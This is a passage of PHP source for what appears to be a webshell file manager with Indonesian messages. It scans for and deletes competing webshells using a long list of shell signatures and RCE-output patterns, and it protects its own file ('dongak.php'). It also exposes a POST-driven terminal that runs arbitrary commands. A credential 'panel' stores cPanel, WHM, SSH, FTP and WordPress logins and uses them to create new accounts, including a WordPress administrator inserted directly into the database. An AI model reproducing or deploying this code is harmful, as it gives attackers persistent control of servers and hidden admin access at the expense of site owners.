'Negat1ve Shell', 'UnknownSec', 'Gecko Filemanager', 'G6 Shell', 'GarudaShell', 'Leaf Mailer', 'xLeet Mailer',
'IndoSec', 'AnonSec', 'X-Shell', 'AntSword', 'Behinder', 'Godzilla', 'CaesarShell', 'TurkShell', 'IranShell',
'Simorgh Shell', 'KurdShell', 'ArabShell', 'AfghanShell', 'PakiShell', 'BanglaShell', 'FierzaXploit',
// File managers & uploaders
'File Manager', 'Tiny File Manager', 'eXtplorer', 'Ajaxplorer', 'elFinder', 'PHP File Manager',
'Simple File Manage', 'Tryag File Manager', 'B Ge Team File Manager', 'DeathShop Uploader', 'ZeroByte Uploader',
'Mass Uploader', 'Auto Uploader', 'Smart Uploader', 'Ghost Uploader', 'Shadow Uploader', 'Stealth Uploader',
// Mini shells
'Mini Shell', 'Minishell', 'Mini File Manager', 'Mini PHP Shell', 'Mini Shell By Black_Shadow', 'MINI MO Shell',
'M3R1C4 M1N1', 'Mini Php Shell JOS_ALI_JOE', 'Megumin Minishell', 'Momos Minishell', '22XC Mini',
'KCT MINI SHELL', 'Kaizen mini shell', 'Idb Team mini shell', 'mini shell', 'minishell',
// Mailers
'Mailer', 'PHPMailer', 'Mass Mailer', 'SMTP Mailer', 'alexusMailer', 'PyMailer', 'Mail Shell',
'SendMail', 'Bomber Mailer', 'Spam Mailer', 'ZMailer', 'NeoMailer', 'XMailer', 'DarkMailer',
'GhostMailer', 'ShadowMailer', 'Turbo Mailer', 'Fast Mailer', 'Ultra Mailer', 'WP Mailer Shell',
'Leaf PHPMailer', 'xLeet PHPMailer', 'BlesseD MAILER', 'w4l3XzY3 Mailer',
// Command/terminal shells
'Shell', 'Command', 'Terminal', 'Console', 'Cmd', 'Execute', 'RCE', 'Remote Code Execution',
'CMD WebShell', 'CMD ( hidden )', 'CMD SQL ( ASPX )', 'Shell Executor', 'Code Executor', 'Executer',
'KONSOLE', 'KONSOL', 'Terminal',
// Backdoors
'Backdoor', 'Backdoor Destroyer', 'Backdoor Filemanager', 'BackBox Shell', 'Bypass',
'Bypass 403', 'Bypass Firewall', 'Bypass WAF', 'Bypass ModSecurity', 'Bypass CloudFlare',
'Bypass Imunify360', 'Bypass Suhosin', 'Bypass Shell', 'BX 403 Bypass', 'F4st~03 Bypass',
'KCT 403 Bypass', 'Shell Bypass 403', '403 Bypass', '404 Bypass', 'Imunify Bypass', 'Shell 403 Bypass',
'Firewall Bypass', 'WAF Bypass', 'Anti-WAF Shell', 'ImunifyAV Bypass', 'ClamAV Bypass',
'VirusTotal Bypass', 'ImunifyAV Bypass', 'WSOX ENC Bypass', 'WSO YANZ ENC BYPASS', 'Imunify360 Bypass',
// Root/Admin shells
'Root', 'RootKit Shell', 'RootKit WebShell', 'Rooter Shell', 'Root Shell', 'ROOT SHELL EXECUTOR',
'Admin', 'Webadmin', 'SuperAdmin', 'RootShell', 'Admin Panel', 'Admin Shell', 'Sysadmin',
// Priv8 variants
'Priv8', 'priv8', 'Priv8 v2', 'Priv8 v3', 'Priv8 v4', 'Priv8 v5', '[H] PRIV8 SHELL [H]',
'PRIV8 SHELL', 'Priv8 WebShell', 'Priv8 Mailer', 'Priv8 Mass Mailer', 'Priv8 Sender',
'Priv8 SSH Shell', 'Priv8 CGI Shell', 'Priv8 Symlink', 'Priv8 Bypass', 'Priv8 403 Bypass',
'Priv8 Uploader', 'priv8 mini shell', 'priv8shell', 'PRIV8SHELL', 'Private Shell', 'Private WebShell',
'Private Mini Shell', 'PrivX Shell', 'PrivShell', 'PrivEks Shell', 'Priv8 IndoXploit',
'Priv8 WSO', 'Priv8 FilesMan', 'Priv8 M3M3Q SH3LL', 'Priv8 Shell Bypass', 'PrivShell v2',
// Symlink shells
'Symlink Shell', 'SymLink Killer', 'Symlink Viewer', 'Symlink Bypass', 'Sym Link Shell',
'ReadSymLink', 'Auto Symlink', 'Root Symlink', 'Config Symlink', 'WP Symlink', 'cPanel Symlink',
'Symlink 403',
// WSO variants (all versions)
'WSO', 'WSO 2.1', 'WSO 2.2', 'WSO 2.5', 'WSO 2.6', 'WSO 2.7', 'WSO 2.8', 'WSO 3.0', 'WSO 3.1',
'WSO 4.0', 'WSO 4.0.5', 'WSO 4.1', 'WSO 4.2', 'WSO 4.2.3', 'WSO 4.2.5', 'WSO 4.2.6', 'WSO 5.1', 'WSO 5.1.4',
'WS0-2.1', 'WS0-2.2.0', 'WS0 SHELL', 'WS0 ENC', 'WSO NG', 'WSO NG Bypass', 'WSOX ENC',
'WSO SHELL 2018', 'WSO SHELL 2023', 'WSO SHELL 2024', 'WSO SHELL 2025', 'WSO ANONYMOUS SHELL',
'WSO GREEN SHELL', 'WSO DADSEC SHELL', 'WSO PRIV SHELL', 'WSO MINISHELL', 'WSO MINISHELL PRIVATE',
'WSO CGI', 'WSO 404', 'WSO priv8 v3', 'WSO h4x0r bypass', 'WSO Fox', 'WSO r00t',
'WSO INDIR', 'WSO R00OT ( ASPX )', 'WSO HYDRA', 'WSO KILLER', 'WSO WHITE', 'WSO BLACKSMITH',
'WSO v3n0m', 'WS0 Yellow', 'FoxWSO', 'WSO Pro', 'WSO Ultimate', 'WSO Stealth', 'WSO Obfuscated',
'WSO Base64', 'WSO Eval', 'WSO CGI Bypass', 'WSO FileManager', 'WSO 2023', 'Yanz Webshell',
'YANZ ENC', 'WSO Yellow', 'WSO YANZ', 'Yanz Webshell!',
// Shadow/Stealth variants
'Shadow', 'Stealth', 'Stealth Shell', 'StealthShell', 'Shadow Shell', 'Shadow Uploader',
'Shadow Mailer', 'Stealth Uploader', 'Stealth Mailer',
// Exploit/Hack related
'Exploit', 'Exploiter', 'Exploiter Shell', 'Hacker', 'Hacker Shell', 'Haxor', 'Haxor Shell',
'Hack', 'Hackshell', 'BlackHat Shell', 'BlackHat Ethical Hacking Shell', 'BlackScorpion Bypass',
'RxR HaCkEr', 'RxRHaCkEr', 'h4x0r', 'Hckd By', 'HaCkEr', 'L I E R SHELL', 'L I E R',
// Regional/Team shells
'Kelelawar Cyber Team', 'TEAM-0ROOT', 'IndoSec', 'Indramayu Cyber', 'ineSec Team', 'AnonSec',
'Garuda', 'Gecko', 'AnonymousFox', 'Andela1C3', 'html404', 'Turkish', 'Zone-H', 'Locus',
'Uname:', 'Uname :', 'SEA-GHOST', 'FierzaXploit', 'IndoXploit', 'DARKNESS', 'Ghost',
'0x5a455553', 'MARIJUANA', 'GitHub', 'x3x3x3x_5h3ll', 'XploiterCrew', '22XploiterCrew',
'TheAlmightyZeus', 'Hunter Neel', 'Franz Private', 'Cel84', 'CyberShell', 'Gel4y',
'0byte', '0byt3m1n1', 'KidJamanNow', 'KlatenCrew', 'Lamashell', 'LeetGhost', 'Ninja',
'{Ninja-Shell}', 'Chitoge', 'Faizzz-Chin', 'Ghaza', 'SuramSh3ll', 'Ninzin',
'AlkantarClanX12', 'j3mb03dz', 'Gel4y', 'MARIJUANA', 'kliverz1337', 'Walkers404',
'MarukoChan', 'King RxR', 'Mister Spy', 'MisterSpyv7up', 'Raiz0WorM', 'Smoker',
'iCloud1337', 'Aezeron', 'Ani-Shell', 'Aes Coder', 'Aes', 'Kaizen', 'Mau',
'Lambo', 'Gelişmiş', 'D7NET', 'd7netSh3lls', 'DRUNK SHELL', 'Devco1', 'Ows',
'Konsole', 'Bypasser', 'Cassano', 'Cassano Bypass', 'Enhancer', 'Zilexo',
// Rock/Band shell (joke)
'Rock', 'Metal', 'Punk', 'Techno', 'Classic',
// Database related
'Database', 'SQL', 'MySQL', 'PostgreSQL', 'Oracle', 'MSSQL',
// Framework shells
'Laravel', 'WordPress', 'Drupal', 'Joomla', 'WP Backdoor', 'WP-SETTINGS',
// Service versions
'Apache', 'nginx', 'SSH', 'OpenSSH', 'OpenSSL', 'mod_ssl',
// Misc keywords
'Uploader', 'Upload', 'Form', 'Html404', 'Zone-H', 'Zone H', 'AuroraFileManager',
'Komdigi', 'Benign', 'Gelişmiş Dosya Yöneticisi', 'Gelişmiş', 'Leaf', 'Angel',
'Evil Twin', 'EviLMora', 'Eval-Shell', 'Eval', 'DATA CENTER INDONESIA',
'#No_Identity', 'No_Identity', '#0x1877', '#0x2525', '#CLS-LEAK', '#CLS',
'#shwty', '#block-css', '#content_loading', '#wp_config_error', '#p@@#',
'Saudi Sh3ll', 'FX Shell Backdoor', 'Beyaz_Hacker', 'webadmin.php', 'Mister',
'Hexa77', 'Hacker', 'Haxor', 'Zone', 'HaCkEd By', 'Modified By', 'Coded By',
'Developed By', 'Created By', 'Made By', 'Made In', 'Made in Heaven', 'ASAKIN',
'United Tunsian Scammers', 'United Bangladeshi Hackers', 'Moroccan Spamers',
'Moroccan Shell', 'Algerian Shell', 'Egyptian Shell', 'Saudi Shell', 'Turkish Hacker',
// Output patterns
'File', 'Home', 'Root', 'Current', 'Directory', 'Path', 'Owner', 'Group', 'Size',
'Permissions', 'Read', 'Write', 'Execute', 'User', 'System',
// Common generic terms (try to avoid false positives with specific ones)
'root:root', '-rw-r--r--', 'drwxr-xr-x', 'drwxrwxrwx', '-rwxr-xr-x', 'Uname',
'Current dir', 'Current directory', 'Doc Root', 'Home Shell', 'Choose a file',
'Upload File', 'File Upload', 'Execute Command', 'Shell Command', 'Shell Execute',
];
// RCE output signatures (uid, gid, uname, version strings, etc)
$rce_patterns = [
'/uid=\d+\([^)]+\)/', // uid=0(root), uid=33(www-data), uid=1000(user), etc - ANY uid
'/gid=\d+\([^)]+\)/', // gid=0(root), gid=33(www-data), etc - ANY gid
'/groups=\d+\([^)]+\)/', // groups output
'/Linux.*[\d\.]+/', // Linux kernel version
'/FreeBSD.*[\d\.]+/', // FreeBSD version
'/Darwin.*[\d\.]+/', // macOS version
'/Windows NT/', // Windows version
'/Apache\/[\d\.]+/', // Apache version
'/nginx\/[\d\.]+/', // Nginx version
'/PHP Version/', // PHP version info
'/PHP\/[\d\.]+/', // PHP version
'/MySQL.*version/', // MySQL version
'/MySQL\/[\d\.]+/', // MySQL version
'/PostgreSQL/', // PostgreSQL
'/OpenSSH.*version/', // SSH version
'/OpenSSH_[\d\.]+/', // SSH version
'/OpenSSL.*version/', // OpenSSL version
'/OpenSSL[\s\/][\d\.]+/', // OpenSSL version
'/Debian|Ubuntu|CentOS|RedHat|Fedora|Slackware/', // Linux distributions
'/total\s+\d+/', // total output (common in shell commands)
'/\-rw\-r\-\-|\-rwx/', // file permissions output
'/drwxr\-xr\-x/', // directory permissions
'/Server:|server:/i', // server version header
'/version/i', // version string
'/\(root\)|\(www-data\)/', // process owner
];
try {
$ite = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($ite as $file) {
if (!$file->isFile()) { continue; }
$fname = $file->getFilename();
$fpath = $file->getRealPath();
if ($fname === $exclude_file) { continue; }
if (strpos($fpath, '.git') !== false || strpos($fpath, 'node_modules') !== false) { continue; }
if ($whitelist_func($fname)) { continue; } // Skip whitelisted legitimate files
$ext = fm_ext($fname);
if ($ext !== 'php' && $ext !== 'phtml' && $ext !== 'php5') { continue; }
$fsize = $file->getSize();
if ($fsize === 0 || $fsize > 500000) { continue; }
$content = @file_get_contents($fpath, false, null, 0, 50000);
if ($content === false) { continue; }
$reason = [];
$score = 0;
$clean = preg_replace('/\/\/.*?$/m', '', $content);
$clean = preg_replace('/\/\*.*?\*\//s', '', $clean);
// 1. Dangerous functions
$danger_funcs = ['eval', 'system', 'exec', 'shell_exec', 'passthru', 'proc_open', 'popen', 'socket_create', 'fsockopen'];
foreach ($danger_funcs as $func) {
if (preg_match('/' . preg_quote($func) . '\s*\(/i', $clean)) {
$reason[] = "Dangerous function: $func()";
$score += 3;
}
}
// 2. RCE via user input
if (preg_match('/\$_(?:GET|POST|REQUEST|COOKIE|SERVER)\s*\[\s*[\'"]?\w+[\'"]?\s*\]\s*(?:;|\))/i', $clean)) {
if (preg_match('/(?:eval|system|exec|shell_exec|passthru|assert|create_function|call_user_func|include|require)\s*\(\s*\$_/i', $clean)) {
$reason[] = "Direct execution from user input";
$score += 4;
}
}
// 3. File operations with user input
if (preg_match('/(?:include|require|file_get_contents|fopen|readfile)\s*\(\s*\$_/i', $clean)) {
$reason[] = "File operation with user input";
$score += 2;
}
// 4. Base64 obfuscation
if (preg_match('/base64_decode\s*\(/i', $content) && preg_match('/eval|assert|create_function|call_user_func/i', $content)) {
$reason[] = "Base64 + execution (obfuscation)";
$score += 3;
}
// 5. Hex/bin encoding
if ((preg_match('/hex2bin|bin2hex|chr\s*\(/i', $content) || preg_match('/\\\\x[0-9a-f]{2}/i', $content)) &&
preg_match('/eval|system|exec|shell_exec|assert/i', $content)) {
$reason[] = "Encoded + execution payload";
$score += 3;
}
// 6. Multiple RCE methods
$rce_funcs = ['system', 'exec', 'shell_exec', 'passthru', 'proc_open', 'popen'];
$rce_count = 0;
foreach ($rce_funcs as $func) {
if (preg_match('/' . preg_quote($func) . '\s*\(/i', $clean)) { $rce_count++; }
}
if ($rce_count >= 2) {
$reason[] = "Multiple RCE methods ($rce_count found)";
$score += 2;
}
// 7. Network operations
if (preg_match('/(?:fsockopen|socket_create|socket_connect|curl_exec|stream_socket)/i', $content)) {
$reason[] = "Network/socket operations";
$score += 2;
}
// 8. String transforms
if (preg_match('/strtr|str_rot13|gzuncompress|gzdeflate|gzinflate/i', $content) &&
preg_match('/eval|assert|create_function/i', $content)) {
$reason[] = "String transform + execution";
$score += 2;
}
// 9. Tiny suspicious files
$lines = count(explode("\n", $content));
if ($lines < 20 && $fsize < 2000 && $score >= 2) {
$reason[] = "Tiny file with suspicious content";
$score += 1;
}
// 10. Webshell pattern
if (preg_match('/(?:cmd|command|action|exec)\s*=\s*\$_(?:GET|POST|REQUEST)/i', $clean) &&
preg_match('/(?:system|exec|shell_exec|passthru|eval)\s*\(/i', $clean)) {
$reason[] = "Typical webshell pattern";
$score += 3;
}
// 11. Known shell signatures
foreach ($shell_signatures as $sig) {
if (stripos($content, $sig) !== false && strlen($sig) > 3) {
$reason[] = "Shell signature: $sig";
$score += 2;
break;
}
}
// 12. RCE output detection (uid, gid, uname output)
foreach ($rce_patterns as $pattern) {
if (preg_match($pattern, $content)) {
$reason[] = "RCE output detected";
$score += 3;
break;
}
}
// 13. HTML upload/command forms
if (preg_match('/]*type=["\']?file["\']?[^>]*name=["\']?(?:file|files|upload)["\']?[^>]*>/i', $content)) {
$reason[] = "File upload form detected";
$score += 2;
}
// 14. Password-protected shell
if (preg_match('/]*type=["\']?password["\']?[^>]*name=["\']?(?:pass|pwd|password)["\']?[^>]*>/i', $content)) {
$reason[] = "Password form detected";
$score += 2;
}
if ($score >= 5) {
$shells[] = [
'path' => str_replace(FM_ROOT, '', $fpath),
'file' => $fname,
'size' => $fsize,
'reason' => implode('; ', $reason),
'mtime' => filemtime($fpath),
'score' => $score
];
}
}
} catch (Exception $e) {
// Ignore
}
usort($shells, function($a, $b) { return $b['score'] - $a['score']; });
return $shells;
}
if ($post && $action === 'shellscan') {
$shells = fm_scan_shells();
fm_json(['ok' => true, 'shells' => $shells, 'count' => count($shells)]);
}
if ($post && $action === 'shellkill') {
$file = fm_norm((string)($_POST['file'] ?? ''));
$abs = fm_abs($file);
if ($file === '' || !fm_inside($abs) || !is_file($abs)) {
fm_json(['ok' => false, 'msg' => '✗ File tidak ditemukan']);
}
$basename = basename($abs);
// Protect critical files
$protected = ['dongak.php', 'index.php', '.htaccess', '.htpasswd', 'web.config', 'php.ini'];
if (in_array(strtolower($basename), array_map('strtolower', $protected))) {
fm_json(['ok' => false, 'msg' => '✗ File dilindungi (tidak boleh dihapus)']);
}
// Prevent deleting common PHP config/bootstrap files
if (in_array($basename, ['config.php', 'config.inc.php', 'settings.php', 'bootstrap.php', 'wp-config.php', 'functions.php'])) {
fm_json(['ok' => false, 'msg' => '✗ Config file (tidak boleh dihapus)']);
}
// Pre-check before attempting delete
if (!is_file($abs)) {
fm_json(['ok' => false, 'msg' => '✗ File sudah dihapus']);
}
$dir = dirname($abs);
if (!is_dir($dir)) {
fm_json(['ok' => false, 'msg' => '✗ Folder parent tidak ada']);
}
if (!is_writable($dir)) {
fm_json(['ok' => false, 'msg' => '✗ Folder read-only (no write permission)']);
}
// Attempt delete
$ok = @unlink($abs);
if (!$ok) {
// File still exists and delete failed - determine why
if (!file_exists($abs)) {
fm_json(['ok' => true, 'msg' => '✓ File dihapus']);
}
// Check if we can even open the file
$handle = @fopen($abs, 'r');
if ($handle === false) {
fm_json(['ok' => false, 'msg' => '✗ File in-use atau locked']);
}
@fclose($handle);
// Try to stat it
$stat = @stat($abs);
if ($stat === false) {
fm_json(['ok' => false, 'msg' => '✗ Cannot access file (stat failed)']);
}
// Generic permission error
fm_json(['ok' => false, 'msg' => '✗ Permission denied (cannot delete)']);
}
// Verify delete actually happened
if (file_exists($abs)) {
fm_json(['ok' => false, 'msg' => '✗ Delete failed (file still exists)']);
}
fm_json(['ok' => true, 'msg' => '✓ Shell dihapus']);
}
if ($post && $action === 'panel') {
if (!FM_PANEL) { fm_json(['ok' => false, 'msg' => 'Panel feature disabled']); }
$type = (string)($_POST['type'] ?? '');
$op = (string)($_POST['op'] ?? '');
$panels = fm_panel_read();
if ($op === 'save') {
$user = (string)($_POST['user'] ?? '');
$pass = (string)($_POST['pass'] ?? '');
if ($type && $user) {
if (!isset($panels[$type])) { $panels[$type] = []; }
$panels[$type] = ['user' => $user, 'pass' => $pass, 'time' => time()];
// Auto-detect URL/Host
if ($type === 'wordpress') {
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? gethostname();
$panels[$type]['url'] = $scheme . '://' . $host;
} else {
$panels[$type]['host'] = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? gethostname();
}
fm_panel_write($panels);
fm_json(['ok' => true, 'msg' => 'Credentials saved (URL/Host auto-detected)']);
}
fm_json(['ok' => false, 'msg' => 'Invalid data']);
}
if ($op === 'delete') {
if (isset($panels[$type])) { unset($panels[$type]); }
fm_panel_write($panels);
fm_json(['ok' => true, 'msg' => 'Credentials deleted']);
}
if ($op === 'test') {
$cred = $panels[$type] ?? null;
if (!$cred) { fm_json(['ok' => false, 'msg' => 'No credentials saved']); }
if ($type === 'wordpress') {
$url = rtrim($cred['url'] ?? '', '/') . '/wp-login.php';
$ch = @curl_init();
if ($ch === false) { fm_json(['ok' => false, 'msg' => 'cURL not available']); }
curl_setopt_array($ch, [CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false]);
$response = @curl_exec($ch);
curl_close($ch);
if ($response === false) { fm_json(['ok' => false, 'msg' => 'Cannot reach site']); }
fm_json(['ok' => true, 'msg' => 'WordPress site reachable']);
}
if ($type === 'ftp') {
$conn = @ftp_connect($cred['host'] ?? '', 21, 5);
if ($conn === false) { fm_json(['ok' => false, 'msg' => 'FTP server unreachable']); }
$login = @ftp_login($conn, $cred['user'] ?? '', $cred['pass'] ?? '');
@ftp_close($conn);
fm_json(['ok' => $login, 'msg' => $login ? 'FTP login successful' : 'FTP login failed']);
}
if ($type === 'ssh') {
if (!function_exists('ssh2_connect')) { fm_json(['ok' => false, 'msg' => 'SSH2 extension not available']); }
$conn = @ssh2_connect($cred['host'] ?? '', (int)($cred['port'] ?? 22));
if ($conn === false) { fm_json(['ok' => false, 'msg' => 'SSH server unreachable']); }
$auth = @ssh2_auth_password($conn, $cred['user'] ?? '', $cred['pass'] ?? '');
fm_json(['ok' => $auth, 'msg' => $auth ? 'SSH login successful' : 'SSH login failed']);
}
if ($type === 'cpanel') {
$url = rtrim($cred['host'] ?? '', '/') . ':2087/execute/';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_USERPWD => ($cred['user'] ?? '') . ':' . ($cred['token'] ?? ''),
CURLOPT_SSL_VERIFYPEER => false,
]);
$response = @curl_exec($ch);
curl_close($ch);
fm_json(['ok' => $response !== false, 'msg' => $response !== false ? 'cPanel API accessible' : 'cPanel API unreachable']);
}
if ($type === 'cyberpanel') {
$url = rtrim($cred['host'] ?? '', '/') . '/api/login';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode(['username' => $cred['user'] ?? '', 'password' => $cred['pass'] ?? '']),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
]);
$response = @curl_exec($ch);
curl_close($ch);
fm_json(['ok' => $response !== false, 'msg' => $response !== false ? 'CyberPanel API accessible' : 'CyberPanel API unreachable']);
}
if ($type === 'whm') {
$url = rtrim($cred['host'] ?? '', '/') . ':2086/json-api/';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 5,
CURLOPT_HTTPAUTH => CURLAUTH_BEARER,
CURLOPT_XOAUTH2_BEARER => $cred['token'] ?? '',
CURLOPT_SSL_VERIFYPEER => false,
]);
$response = @curl_exec($ch);
curl_close($ch);
fm_json(['ok' => $response !== false, 'msg' => $response !== false ? 'WHM API accessible' : 'WHM API unreachable']);
}
fm_json(['ok' => false, 'msg' => 'Unknown panel type']);
}
if ($op === 'create') {
$cred = $panels[$type] ?? null;
if (!$cred) { fm_json(['ok' => false, 'msg' => 'No credentials saved']); }
$newuser = (string)($_POST['newuser'] ?? '');
$newpass = (string)($_POST['newpass'] ?? '');
if (!$newuser || !$newpass) { fm_json(['ok' => false, 'msg' => 'Username and password required']); }
if ($type === 'wordpress') {
$dbhost = (string)($_POST['dbhost'] ?? 'localhost');
$dbname = (string)($_POST['dbname'] ?? 'wordpress');
$dbuser = (string)($_POST['dbuser'] ?? '');
$dbpass = (string)($_POST['dbpass'] ?? '');
$dbpref = (string)($_POST['dbpref'] ?? 'wp_');
try {
$pdo = new PDO("mysql:host=$dbhost;dbname=$dbname;charset=utf8mb4", $dbuser, $dbpass, [PDO::ATTR_TIMEOUT => 2]);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pass_hash = wp_hash_password($newpass);
$email = (string)($_POST['email'] ?? $newuser . '@example.com');
$stmt = $pdo->prepare("INSERT INTO {$dbpref}users (user_login, user_pass, user_email, user_nicename, display_name) VALUES (?, ?, ?, ?, ?)");
$stmt->execute([$newuser, $pass_hash, $email, $newuser, $newuser]);
$user_id = $pdo->lastInsertId();
$stmt = $pdo->prepare("INSERT INTO {$dbpref}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
$stmt->execute([$user_id, $pdo->quote($dbpref) . 'capabilities', serialize(['administrator' => 1])]);
fm_json(['ok' => true, 'msg' => "✅ User '$newuser' created (admin)"]);
} catch (Exception $e) {
fm_json(['ok' => false, 'msg' => 'DB Error: ' . $e->getMessage()]);
}
}
if ($type === 'ftp') {
$conn = @ftp_connect($cred['host'] ?? '', 21, 2);
if ($conn === false) { fm_json(['ok' => false, 'msg' => 'FTP server unreachable']); }
$login = @ftp_login($conn, $cred['user'] ?? '', $cred['pass'] ?? '');
if (!$login) { @ftp_close($conn); fm_json(['ok' => false, 'msg' => 'FTP login failed']); }
$homedir = (string)($_POST['homedir'] ?? '/public_html/' . $newuser);
$ok = @ftp_mkdir($conn, $homedir);
fm_json(['ok' => $ok, 'msg' => $ok ? "✅ FTP dir created: $homedir" : 'Failed to create directory']);
@ftp_close($conn);
}
if ($type === 'ssh') {
if (!function_exists('ssh2_connect')) { fm_json(['ok' => false, 'msg' => 'SSH2 extension not available']); }
$conn = @ssh2_connect($cred['host'] ?? '', (int)($cred['port'] ?? 22));
if ($conn === false) { fm_json(['ok' => false, 'msg' => 'SSH server unreachable']); }
$auth = @ssh2_auth_password($conn, $cred['user'] ?? '', $cred['pass'] ?? '');
if (!$auth) { fm_json(['ok' => false, 'msg' => 'SSH auth failed']); }
@ssh2_exec($conn, "useradd -m -p " . escapeshellarg(crypt($newpass)) . " " . escapeshellarg($newuser) . " &");
fm_json(['ok' => true, 'msg' => "⚡ SSH user '$newuser' creation triggered (background)"]);
}
if ($type === 'cpanel') {
$url = rtrim($cred['host'] ?? '', '/') . ':2087/json-api/cpanel';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url . '?cpanel_jsonapi_user=' . urlencode($cred['user'] ?? '') . '&cpanel_jsonapi_apiversion=2&func=adduser&user=' . urlencode($newuser) . '&password=' . urlencode($newpass) . '"a=unlimited',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_CONNECTTIMEOUT => 2,
CURLOPT_USERPWD => ($cred['user'] ?? '') . ':' . ($cred['token'] ?? ''),
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_NOSIGNAL => 1,
]);
$response = @curl_exec($ch);
$err = curl_errno($ch);
curl_close($ch);
if ($err !== 0) { fm_json(['ok' => false, 'msg' => 'cPanel timeout (try again)']); }
$result = @json_decode($response, true);
fm_json(['ok' => isset($result['cpanelresult']['status']) && $result['cpanelresult']['status'] == 1, 'msg' => isset($result['cpanelresult']['status']) && $result['cpanelresult']['status'] == 1 ? '✅ cPanel user created' : 'cPanel error']);
}
if ($type === 'cyberpanel') {
$url = rtrim($cred['host'] ?? '', '/') . '/api/createUser';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode(['userName' => $newuser, 'password' => $newpass, 'email' => $_POST['email'] ?? '']),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_CONNECTTIMEOUT => 2,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_HTTPHEADER => ['Content-Type: application/json', 'Authorization: Basic ' . base64_encode(($cred['user'] ?? '') . ':' . ($cred['pass'] ?? ''))],
CURLOPT_NOSIGNAL => 1,
]);
$response = @curl_exec($ch);
$err = curl_errno($ch);
curl_close($ch);
if ($err !== 0) { fm_json(['ok' => false, 'msg' => 'CyberPanel timeout (try again)']); }
fm_json(['ok' => $response !== false, 'msg' => $response !== false ? '✅ CyberPanel user created' : 'API error']);
}
if ($type === 'whm') {
$url = rtrim($cred['host'] ?? '', '/') . ':2086/json-api/createacct';
$ch = @curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url . '?username=' . urlencode($newuser) . '&password=' . urlencode($newpass) . '&domain=' . urlencode($newuser . '.com'),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_CONNECTTIMEOUT => 2,
CURLOPT_HTTPAUTH => CURLAUTH_BEARER,
CURLOPT_XOAUTH2_BEARER => $cred['token'] ?? '',
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_NOSIGNAL => 1,
]);
$response = @curl_exec($ch);
$err = curl_errno($ch);
curl_close($ch);
if ($err !== 0) { fm_json(['ok' => false, 'msg' => 'WHM timeout (try again)']); }
fm_json(['ok' => $response !== false, 'msg' => $response !== false ? '✅ WHM account created' : 'WHM API error']);
}
fm_json(['ok' => false, 'msg' => 'Unknown panel type']);
}
if ($op === 'list') {
$available = fm_panel_detect();
$list = [];
foreach ($available as $p => $_) {
$cred = $panels[$p] ?? null;
$list[] = ['type' => $p, 'user' => $cred ? $cred['user'] : null, 'saved' => $cred !== null];
}
fm_json(['ok' => true, 'panels' => $list]);
}
fm_json(['ok' => false, 'msg' => 'Invalid operation']);
}
if ($post && $action === 'exec') {
if (!fm_shell_ok()) {
fm_json(['ok' => false, 'out' => '', 'err' => 'Terminal dinonaktifkan atau fungsi proc_open tidak tersedia.', 'code' => -1, 'cwd' => '']);
}
$cwd = (string)($_SESSION['fm_cwd'] ?? '');
if ($cwd === '' || !is_dir($cwd)) { $cwd = $dir; }
if (($_POST['sync'] ?? '') === '1') { $cwd = $dir; }
$cwd = str_replace('\\', '/', (string)(realpath($cwd) ?: FM_ROOT));
$_SESSION['fm_cwd'] = $cwd;
$cmd = trim((string)($_POST['cmd'] ?? ''));
if ($cmd === '') { fm_json(['ok' => true, 'out' => '', 'err' => '', 'code' => 0, 'cwd' => $cwd]); }
if (preg_match('/^cd(?:\s+(.*))?$/i', $cmd, $m)) {
$t = trim((string)($m[1] ?? ''), " \t\"'");
if ($t === '' || $t === '~') {
$to = FM_ROOT;
} elseif (preg_match('#^([A-Za-z]:[\\\\/]|/|\\\\\\\\)#', $t)) {
$to = $t;
} else {
$to = $cwd . '/' . $t;
}
$rp = @realpath($to);
if ($rp !== false && is_dir($rp)) {
$cwd = str_replace('\\', '/', $rp);
$_SESSION['fm_cwd'] = $cwd;
fm_json(['ok' => true, 'out' => '', 'err' => '', 'code' => 0, 'cwd' => $cwd]);
}
fm_json(['ok' => false, 'out' => '', 'err' => 'cd: direktori tidak ditemukan: ' . $t, 'code' => 1, 'cwd' => $cwd]);
}
$res = fm_exec($cmd, $cwd);
fm_json(['ok' => $res['code'] === 0, 'out' => $res['out'], 'err' => $res['err'], 'code' => $res['code'], 'cwd' => $cwd]);
}
if ($post) {
$names = json_decode((string)($_POST['items'] ?? '[]'), true);
if (!is_array($names)) { $names = []; }
$targets = [];
foreach ($names as $nm) {
$r = fm_norm((string)$nm);
if ($r === '') { continue; }
$abs = fm_abs($r);
if (fm_inside($abs) && file_exists($abs)) { $targets[] = ['rel' => $r, 'abs' => $abs]; }
}
